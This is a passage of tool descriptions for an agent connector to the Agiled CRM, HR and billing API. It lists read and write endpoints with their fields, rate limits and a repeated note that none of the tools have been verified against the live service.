tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/tasks. Scopes: read. agiled_get_taxes (read) — List taxes via GET /taxes. An account-level reference list -- the currencies and tax rates the billing documents draw their allowed values from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/taxes. Scopes: read. agiled_get_ticket_by_id (read) — Retrieve a ticket via GET /ticket/{id}. A ticket is one support conversation, carrying a type, a channel, an assigned agent and a thread of replies. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/ticket/{id}. Scopes: read. agiled_get_ticketagents (read) — List ticket agents via GET /ticketagents. A ticket agent is a workspace member who may be assigned support tickets. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/ticketagents. Scopes: read. agiled_get_ticketchannels (read) — List ticket channels via GET /ticketchannels. A ticket channel is the route a ticket arrived by -- email, a form, the portal -- and is one of the vocabularies a ticket's fields draw on. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/ticketchannels. Scopes: read. agiled_get_tickets (read) — List tickets via GET /tickets. A ticket is one support conversation, carrying a type, a channel, an assigned agent and a thread of replies. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/tickets. Scopes: read. agiled_get_tickettypes (read) — List ticket types via GET /tickettypes. A ticket type is the classification a ticket carries, and is one of the vocabularies a ticket's fields draw on. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/tickettypes. Scopes: read. agiled_get_timelogs_by_id (read) — Retrieve a time log via GET /timelogs/{id}. A time log is a recorded interval of work against a task or project. Agiled also runs a live timer, started and stopped by its own endpoints, which writes a time log when it stops. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/timelogs/{id}. Scopes: read. agiled_get_timelogsettings (read) — Retrieve time-log settings via GET /timelogsettings. The time-log settings are the account-wide rules for time tracking -- what may be logged, by whom, and whether the timer may run. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/timelogsettings. Scopes: read. agiled_get_users (read) — List users via GET /users. A user is a member of the Agiled workspace, distinct from an HR employee record and from a CRM contact. Reads only; changes nothing. `api_token` IS REDACTED FROM EVERY USER IN THIS REPLY. Agiled's own `User` model declares an `api_token` property, so this endpoint is documented to return every workspace user's API CREDENTIAL alongside their email and id -- not only the one this connection uses, but everyone's, including tokens that authenticate other integrations. Each comes back as `[REDACTED]`; the email, id, company and timestamps are returned intact, which is everything this tool is actually for. If you need a token, mint one in Agiled under Settings > API Settings rather than reading someone else's. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/users. Scopes: read. agiled_post_accounts (write) — Create a CRM account via POST /accounts. A CRM account is a company in the CRM -- the organisation that contacts, deals, meetings, notes and tasks hang off. Creates a new record and returns it with the id the other tools address it by. Body fields: `addresses`, `custom_fields`, `description`, `email`, `facebook`, `linkedin`, `name`, `note`, `owner_id`, `phone`, `size`, `skype`, `tags`, `tax_no`, `twitter`, `website`. Required: `name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/accounts. Scopes: write. agiled_post_attendance_clock_in (write) — Clock in via POST /attendance/clock-in. Attendance is the clock-in/clock-out register for employees; a clock-in stays open until it is clocked out by its own id. Creates a new record and returns it with the id the other tools address it by. Body fields: `ip`, `working_from`. Required: `ip`, `working_from`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/attendance/clock-in. Scopes: write. agiled_post_comments (write) — Comment on a task via POST /comments. A task comment is a message on a project task's thread. Creates a new record and returns it with the id the other tools address it by. Body fields: `comment`, `task_id`. Required: `comment`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/comments. Scopes: write. agiled_post_contacts (write) — Create a CRM contact via POST /contacts. A CRM contact is a person in the CRM, normally attached to an account, and is the party invoices, estimates and meetings are addressed to. Creates a new record and returns it with the id the other tools address it by. Body fields: `account_id`, `addresses`, `custom_fields`, `email`, `facebook`, `first_name`, `job_title`, `last_contacted`, `last_name`, `linkedin`, `next_follow_up`, `note`, `owner_id`, `phone`, `role`, `skype`, `source_id`, `status_id`, `tags`, `twitter`. Required: `first_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/contacts. Scopes: write. agiled_post_crm_deals (write) — Create a deal via POST /crm/deals. A deal is one opportunity moving through a pipeline: a value, a stage, a source and a status, attached to an account or a contact. Creates a new record and returns it with the id the other tools address it by. Body fields: `amount`, `close_date`, `deal_name`, `deal_owner`, `deal_type`, `pipeline_id`, `stage_id`. Required: `deal_name`, `pipeline_id`, `stage_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/crm/deals. Scopes: write. agiled_post_crm_meetings_by_type (write) — Log a meeting on a CRM record via POST /crm/meetings/{type}. A meeting is a scheduled conversation logged against a CRM record, addressed by the parent module (contact, account or deal) and that record's id. Creates a new record and returns it with the id the other tools address it by. Body fields: `account_id`, `all_contacts`, `contact_id`, `description`, `end_date_time`, `label_color`, `meeting_name`, `repeat`, `repeat_cycles`, `repeat_every`, `repeat_type`, `start_date_time`, `where`. Required: `description`, `label_color`, `meeting_name`, `repeat_type`, `where`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/crm/meetings/{type}. Scopes: write. agiled_post_crm_pipeline_stages (write) — Create a pipeline stage via POST /crm/pipeline-stages. A pipeline stage is one column of a sales pipeline. Deals sit in exactly one stage, so the stage list is the vocabulary a deal's `stage` field has to come from. Creates a new record and returns it with the id the other tools address it by. Body fields: `pipeline_id`, `stage_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/crm/pipeline-stages. Scopes: write. agiled_post_crm_pipelines (write) — Create a pipeline via POST /crm/pipelines. A pipeline is a named sequence of stages that deals move through; an account can run several. Creates a new record and returns it with the id the other tools address it by. Body fields: `pipeline_name`. Required: `pipeline_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/crm/pipelines. Scopes: write. agiled_post_crm_tasks_by_type (write) — Create a CRM task via POST /crm/tasks/{type}. A CRM task is a to-do attached to a contact, account or deal. It is a different record from a PROJECT task: the project task tools live under /tasks and are addressed by project, not by CRM module. Creates a new record and returns it with the id the other tools address it by. Body fields: `billable`, `category_id`, `completed_on`, `description`, `due_date`, `heading`, `milestone_id`, `priority`, `project_id`, `start_date`, `user_id`. Required: `due_date`, `heading`, `priority`, `start_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/crm/tasks/{type}. Scopes: write. agiled_post_employees (write) — Create an employee via POST /employees. An employee is a person on the workspace's HR roster, carrying a department, a designation and the attendance and time-log history recorded against them. Creates a new record and returns it with the id the other tools address it by. Body fields: `address`, `department_id`, `designation_id`, `email`, `employee_id`, `hourly_rate`, `joining_date`, `name`, `password`, `slack_username`. Required: `department_id`, `designation_id`, `email`, `employee_id`, `joining_date`, `name`, `password`. `password` IS REDACTED FROM THE REPLY. Agiled declares the same schema as this operation's request body AND its 201 response -- the response's own title is still 'Store Employee request' -- so the password you submit is echoed straight back. It comes back as `[REDACTED]`: you already know what you sent, and a person's login credential does not belong in a tool result. Every other field is returned intact. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/employees. Scopes: write. agiled_post_estimates (write) — Create an estimate via POST /estimates. An estimate is a quote sent to a client before the work: the same line items an invoice carries, without being a demand for payment. Creates a new record and returns it with the id the other tools address it by. Body fields: `client_id`, `currency_id`, `custom_fields`, `discount`, `discount_type`, `estimate_number`, `items`, `note`, `status`, `sub_total`, `total`, `valid_till`. Required: `client_id`, `currency_id`, `discount`, `discount_type`, `estimate_number`, `sub_total`, `total`, `valid_till`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/estimates. Scopes: write. agiled_post_event_types (write) — Create an event type via POST /event-types. An event type is the bookable meeting template behind Agiled's scheduling pages -- duration, availability and location -- from which individual events are booked. Creates a new record and returns it with the id the other tools address it by. Body fields: `after_event`, `before_event`, `date_from`, `date_to`, `description`, `duration`, `name`, `start_increment`, `timezone`. Required: `description`, `name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/event-types. Scopes: write. agiled_post_events (write) — Book an event via POST /events. An event is one booked slot against an event type, with its invitee and time. Creates a new record and returns it with the id the other tools address it by. Body fields: `availability_id`, `client_id`, `email`, `end`, `name`, `start`, `start_date_time`. Required: `email`, `name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/events. Scopes: write. agiled_post_expenses (write) — Create an expense via POST /expenses. An expense is a cost recorded against the business, optionally against a project, with an amount, a currency and a category. Creates a new record and returns it with the id the other tools address it by. Body fields: `currency_id`, `distance_category`, `distance_cost`, `distance_description`, `distance_unit`, `distance_unit_rate`, `distance_value`, `how_often`, `include_distance`, `is_infinite`, `item_name`, `make_recurring`, `next_purchase_date`, `often_terms`, `price`, `project_id`, `purchase_date`, `purchased_from`, `remaining_cycles`, `status`, `term_duration`, `user_id`. Required: `currency_id`, `distance_category`, `distance_value`, `item_name`, `price`, `purchase_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/expenses. Scopes: write. agiled_post_invoices (write) — Create an invoice via POST /invoices. An invoice is a billing document issued to a client, carrying line items, taxes, a currency and a payment status; payments are recorded against it separately. Creates a new record and returns it with the id the other tools address it by. Body fields: `billing_cycle`, `billing_frequency`, `billing_interval`, `client_id`, `currency_id`, `custom_fields`, `discount`, `discount_type`, `due_date`, `estimate_id`, `invoice_number`, `issue_date`, `items`, `note`, `project_id`, `recurring_payment`, `sub_total`, `total`. Required: `billing_cycle`, `billing_frequency`, `billing_interval`, `client_id`, `currency_id`, `discount`, `discount_type`, `due_date`, `invoice_number`, `issue_date`, `recurring_payment`, `sub_total`, `total`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/invoices. Scopes: write. agiled_post_payments (write) — Record a payment via POST /payments. A payment is money received against an invoice. It is a separate record from the invoice: recording one here is what moves the invoice towards paid. Creates a new record and returns it with the id the other tools address it by. Body fields: `amount`, `company_id`, `currency_id`, `customer_id`, `event_id`, `gateway`, `invoice_id`, `meta`, `offline_method_id`, `paid_on`, `plan_id`, `project_id`, `remarks`, `status`, `subscription_id`, `transaction_id`. Required: `amount`, `paid_on`, `transaction_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/payments. Scopes: write. agiled_post_products (write) — Create a product via POST /products. A product is a catalogue item with a price and a tax, used as the source of line items on invoices and estimates. Creates a new record and returns it with the id the other tools address it by. Body fields: `allow_purchase`, `name`, `price`, `taxes`. Required: `name`, `price`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/products. Scopes: write. agiled_post_project_category (write) — Create a project category via POST /project-category. A project category is the grouping label a project carries; it is the vocabulary a project's `category` field has to come from. Creates a new record and returns it with the id the other tools address it by. Body fields: `category_name`. Required: `category_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/project-category. Scopes: write. agiled_post_projects (write) — Create a project via POST /projects. A project is the unit of delivery work: it holds milestones, tasks, files and time logs, and is attached to a client. Creates a new record and returns it with the id the other tools address it by. Body fields: `allow_client_notification`, `category_id`, `client_id`, `client_view_task`, `completion_percent`, `currency_id`, `deadline`, `feedback`, `hours_allocated`, `manual_time_log`, `notes`, `project_budget`, `project_name`, `project_summary`, `start_date`. Required: `project_name`, `start_date`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/projects. Scopes: write. agiled_post_projects_milestones (write) — Create a milestone via POST /projects/milestones. A milestone is a named checkpoint inside a project, with its own status, that project tasks are grouped under. Creates a new record and returns it with the id the other tools address it by. Body fields: `company_id`, `cost`, `currency_id`, `invoice_created`, `milestone_title`, `project_id`, `status`, `summary`. Required: `milestone_title`, `project_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/projects/milestones. Scopes: write. agiled_post_search (read) — Search the account via POST /search. Agiled's account-wide search returns matches across modules, each row naming the module it came from and the id to address it with, so it is the way to turn a name a person used into an id the other tools take. Creates a new record and returns it with the id the other tools address it by. Body fields: `search_key`. Required: `search_key`. POST /search is the account-wide search box. It reads and returns matches; it creates, changes and deletes nothing. The ledger files it `write` because it reads the VERB. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/search. Scopes: read. agiled_post_start_timer (write) — Start the timer via POST /start-timer. A time log is a recorded interval of work against a task or project. Agiled also runs a live timer, started and stopped by its own endpoints, which writes a time log when it stops. Creates a new record and returns it with the id the other tools address it by. Body fields: `project_id`, `task_id`, `timelog_memo`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/start-timer. Scopes: write. agiled_post_taskcategories (write) — Create a task category via POST /taskcategories. A task category is the grouping label a project task carries. Creates a new record and returns it with the id the other tools address it by. Body fields: `category_name`. Required: `category_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/taskcategories. Scopes: write. agiled_post_tasks (write) — Create a task via POST /tasks. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. Creates a new record and returns it with the id the other tools address it by. Body fields: `billable`, `category_id`, `completed_on`, `description`, `due_date`, `heading`, `milestone_id`, `priority`, `project_id`, `start_date`, `user_id`. Required: `due_date`, `heading`, `priority`, `start_date`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/tasks. Scopes: write. agiled_post_ticketagents (write) — Create a ticket agent via POST /ticketagents. A ticket agent is a workspace member who may be assigned support tickets. Creates a new record and returns it with the id the other tools address it by. Body fields: `agent_id`, `group_id`, `status`. Required: `group_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/ticketagents. Scopes: write. agiled_post_ticketchannels (write) — Create a ticket channel via POST /ticketchannels. A ticket channel is the route a ticket arrived by -- email, a form, the portal -- and is one of the vocabularies a ticket's fields draw on. Creates a new record and returns it with the id the other tools address it by. Body fields: `channel_name`. Required: `channel_name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/ticketchannels. Scopes: write. agiled_post_tickets (write) — Create a ticket via POST /tickets. A ticket is one support conversation, carrying a type, a channel, an assigned agent and a thread of replies. Creates a new record and returns it with the id the other tools address it by. Body fields: `agent_id`, `channel_id`, `file`, `message`, `priority`, `subject`, `type_id`, `user_id`. Required: `priority`, `subject`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/tickets. Scopes: write. agiled_post_ticketsreply (write) — Reply to a ticket via POST /ticketsreply. A ticket reply is one message on a ticket's thread. A reply is what the requester sees, so writing one is customer-visible. Creates a new record and returns it with the id the other tools address it by. Body fields: `message`, `ticket_id`, `user_id`. Required: `message`, `ticket_id`, `user_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/ticketsreply. Scopes: write. agiled_post_tickettypes (write) — Create a ticket type via POST /tickettypes. A ticket type is the classification a ticket carries, and is one of the vocabularies a ticket's fields draw on. Creates a new record and returns it with the id the other tools address it by. Body fields: `type`. Required: `type`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/tickettypes. Scopes: write. agiled_post_timelogs (write) — Create a time log via POST /timelogs. A time log is a recorded interval of work against a task or project. Agiled also runs a live timer, started and stopped by its own endpoints, which writes a time log when it stops. Creates a new record and returns it with the id the other tools address it by. Body fields: `end_time`, `project_id`, `start_time`, `task_id`, `teammate_id`, `timelog_date`, `timelog_memo`. Required: `end_time`, `project_id`, `start_time`, `task_id`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/timelogs. Scopes: write. agiled_post_timelogsettings (write) — Update time-log settings via POST /timelogsettings. The time-log settings are the account-wide rules for time tracking -- what may be logged, by whom, and whether the timer may run. Creates a new record and returns it with the id the other tools address it by. Body fields: `auto_timer_stop`, `log_time_for`, `manual_time_log`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. POST /api/v1/agiled/timelogsettings. Scopes: write. agiled_put_accounts_by_id (write) — Update a CRM account via PUT /accounts/{id}. A CRM account is a company in the CRM -- the organisation that contacts, deals, meetings, notes and tasks hang off. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `addresses`, `custom_fields`, `description`, `email`, `facebook`, `linkedin`, `name`, `note`, `owner_id`, `phone`, `size`, `skype`, `tags`, `tax_no`, `twitter`, `website`. Required: `name`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/accounts/{id}. Scopes: write. agiled_put_attendance_clock_out_by_id (write) — Clock out via PUT /attendance/clock-out/{id}. Attendance is the clock-in/clock-out register for employees; a clock-in stays open until it is clocked out by its own id. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `ip`. Required: `ip`. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. PUT /api/v1/agiled/attendance/clock-out/{id}. Scopes: write. agiled_put_contacts_by_id (write) — Update a CRM contact via PUT /contacts/{id}. A CRM contact is a person in the CRM, normally attached to an account, and is the party invoices, estimates and meetings are addressed to. Partial or full update as Agiled defines it for this resource; send the fields to change. Body fields: `account_id`, `addresses`, `custom_fields`, `email`, `facebook`, `first_name`, `job_title`, `last_contacted`, `last_name`, `linkedin`, `next_follow_up`, `note`, `owner_id`, `phone`, `role`, `skype`, `source_id`, `status_id`, 